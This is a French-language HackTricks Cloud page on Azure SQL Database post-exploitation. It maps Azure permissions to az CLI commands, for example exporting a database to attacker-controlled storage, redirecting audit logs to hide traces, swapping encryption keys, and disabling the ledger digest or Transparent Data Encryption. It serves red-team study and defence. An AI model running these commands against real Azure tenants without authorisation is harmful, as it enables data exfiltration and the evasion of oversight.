Az - SQL Database Post Exploitation
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
SQL Database Post Exploitation
Pour plus dâinformations sur SQL Database, consultez :
Microsoft.Sql/servers/databases/read, Microsoft.Sql/servers/read && Microsoft.Sql/servers/databases/write
Avec ces autorisations, un attaquant peut crĂ©er et mettre Ă jour des bases de donnĂ©es dans lâenvironnement compromis. Cette activitĂ© de post-exploitation pourrait permettre Ă un attaquant dâajouter des donnĂ©es malveillantes, de modifier les configurations de la base de donnĂ©es ou dâinsĂ©rer des portes dĂ©robĂ©es pour une persistance supplĂ©mentaire, perturbant potentiellement les opĂ©rations ou permettant des actions malveillantes supplĂ©mentaires.
# Create Database
az sql db create --resource-group <resource-group> --server <server-name> --name <new-database-name>
# Update Database
az sql db update --resource-group <resource-group> --server <server-name> --name <database-name> --max-size <max-size-in-bytes>
Avec ces autorisations (Microsoft.Sql/servers/read && Microsoft.Sql/servers/databases/write), vous pouvez restaurer une base de données supprimée :
az sql db restore \
--dest-name <new_database_name> \
--name <original_database_name> \
--resource-group <resource_group> \
--server <server_name> \
--deleted-time "<deleted_time_ISO_format>"
Microsoft.Sql/servers/elasticPools/write && Microsoft.Sql/servers/elasticPools/read
Avec ces autorisations, un attaquant peut crĂ©er et mettre Ă jour des elasticPools au sein de lâenvironnement compromis. Cette activitĂ© de post-exploitation pourrait permettre Ă un attaquant dâajouter des donnĂ©es malveillantes, de modifier les configurations de la base de donnĂ©es ou dâinsĂ©rer des portes dĂ©robĂ©es pour une persistance supplĂ©mentaire, perturbant potentiellement les opĂ©rations ou permettant des actions malveillantes supplĂ©mentaires.
# Create Elastic Pool
az sql elastic-pool create \
--name <new-elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--edition <edition> \
--dtu <dtu-value>
# Update Elastic Pool
az sql elastic-pool update \
--name <elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--dtu <new-dtu-value> \
--tags <key=value>
Microsoft.Sql/servers/auditingSettings/read && Microsoft.Sql/servers/auditingSettings/write
Avec cette autorisation, vous pouvez modifier ou activer les paramĂštres dâaudit sur un Azure SQL Server. Cela pourrait permettre Ă un attaquant ou Ă un utilisateur autorisĂ© de manipuler les configurations dâaudit, potentiellement pour dissimuler des traces ou rediriger les journaux dâaudit vers un emplacement sous leur contrĂŽle. Cela peut entraver la surveillance de la sĂ©curitĂ© ou permettre de suivre les actions. REMARQUE : Pour activer lâaudit pour un Azure SQL Server en utilisant Blob Storage, vous devez attacher un compte de stockage oĂč les journaux dâaudit peuvent ĂȘtre sauvegardĂ©s.
az sql server audit-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--state Enabled \
--storage-account <storage_account_name> \
--retention-days 7
Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read, Microsoft.Sql/servers/connectionPolicies/read && Microsoft.Sql/servers/connectionPolicies/write
Avec cette autorisation, vous pouvez modifier les politiques de connexion dâun serveur SQL Azure. Cette capacitĂ© peut ĂȘtre exploitĂ©e pour activer ou changer les paramĂštres de connexion au niveau du serveur.
az sql server connection-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--connection-type <Proxy|Redirect|Default>
Microsoft.Sql/servers/databases/export/action
Avec cette autorisation, vous pouvez exporter une base de donnĂ©es dâun Azure SQL Server vers un compte de stockage. Un attaquant ou un utilisateur autorisĂ© disposant de cette autorisation peut exfiltrer des donnĂ©es sensibles de la base de donnĂ©es en lâexportant vers un emplacement quâil contrĂŽle, posant ainsi un risque important de violation de donnĂ©es. Il est important de connaĂźtre la clĂ© de stockage pour pouvoir effectuer cela.
az sql db export \
--server <server_name> \
--resource-group <resource_group_name> \
--name <database_name> \
--storage-uri <storage_blob_uri> \
--storage-key-type SharedAccessKey \
--admin-user <admin_username> \
--admin-password <admin_password>
Microsoft.Sql/servers/databases/import/action
Avec cette autorisation, vous pouvez importer une base de donnĂ©es dans un Azure SQL Server. Un attaquant ou un utilisateur autorisĂ© disposant de cette autorisation peut potentiellement tĂ©lĂ©charger des bases de donnĂ©es malveillantes ou manipulĂ©es. Cela peut conduire Ă un contrĂŽle sur des donnĂ©es sensibles ou Ă lâinsertion de scripts ou de dĂ©clencheurs nuisibles dans la base de donnĂ©es importĂ©e. De plus, vous pouvez lâimporter sur votre propre serveur dans Azure. Remarque : Le serveur doit autoriser les services et ressources Azure Ă accĂ©der au serveur.
az sql db import --admin-user <admin-user> \
--admin-password <admin-password> \
--name <target-database-name> \
--server <azure-sql-server-name> \
--resource-group <resource-group-name> \
--storage-key-type SharedAccessKey \
--storage-key <storage-account-key> \
--storage-uri `https://<storage-account-name>.blob.core.windows.net/bacpac-container/MyDatabase.bacpac`
Microsoft.Sql/servers/connectionPolicies/write && Microsoft.Sql/servers/connectionPolicies/read
Avec ces autorisations, un utilisateur peut modifier et rĂ©cupĂ©rer les politiques de connexion dâun serveur Azure SQL. Ces autorisations permettent Ă quelquâun de changer la façon dont les clients se connectent au serveurâchoisir entre des mĂ©thodes comme le redirection ou le proxyâce qui pourrait ĂȘtre exploitĂ© pour affaiblir la sĂ©curitĂ©, rediriger le trafic ou intercepter des donnĂ©es sensibles en cas de mauvaise configuration.
az sql server conn-policy update \
--resource-group <resource_group> \
--server <server_name> \
--connection-policy <policy>
Microsoft.Sql/servers/keys/write && Microsoft.Sql/servers/keys/read
Avec ces autorisations, un utilisateur peut mettre à jour et récupérer les clés de chiffrement associées à un Azure SQL Server. Ces clés sont souvent utilisées pour sécuriser des données sensibles par le biais du chiffrement, donc les manipuler pourrait compromettre la sécurité des données en permettant un déchiffrement non autorisé ou des modifications de rotation de clé.
az sql server key create \
--resource-group MyResourceGroup \
--server MyServer \
--kid "https://mykeyvault.vault.azure.net/keys/mykey/1234567890abcdef
Microsoft.Sql/servers/databases/ledgerDigestUploads/disable/action, Microsoft.Sql/locations/ledgerDigestUploadsAzureAsyncOperation/read, Microsoft.Sql/locations/ledgerDigestUploadsOperationResults/read
Cette autorisation permet de dĂ©sactiver le Ledger Digest pour une base de donnĂ©es Azure SQL, ce qui arrĂȘte le tĂ©lĂ©chargement pĂ©riodique des enregistrements de rĂ©sumĂ© cryptographique vers Azure Blob Storage qui vĂ©rifie lâintĂ©gritĂ© des donnĂ©es.
az sql db ledger-digest-uploads disable \
--name ledgerDB \
--resource-group myResourceGroup \
--server my-sql-server
Microsoft.Sql/servers/databases/transparentDataEncryption/write, Microsoft.Sql/locations/transparentDataEncryptionAzureAsyncOperation/read, Microsoft.Sql/servers/databases/transparentDataEncryption/read
Cette autorisation permet Ă un utilisateur autorisĂ© ou Ă un attaquant dâactiver, de dĂ©sactiver ou de modifier les paramĂštres de Transparent Data Encryption (TDE) sur une base de donnĂ©es Azure SQL, ce qui peut avoir un impact sur la sĂ©curitĂ© des donnĂ©es en modifiant les configurations de cryptage.
az sql db tde set \
--database <database-name> \
--resource-group <resource-group-name> \
--server <server-name> \
--status <Enabled|Disabled>
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

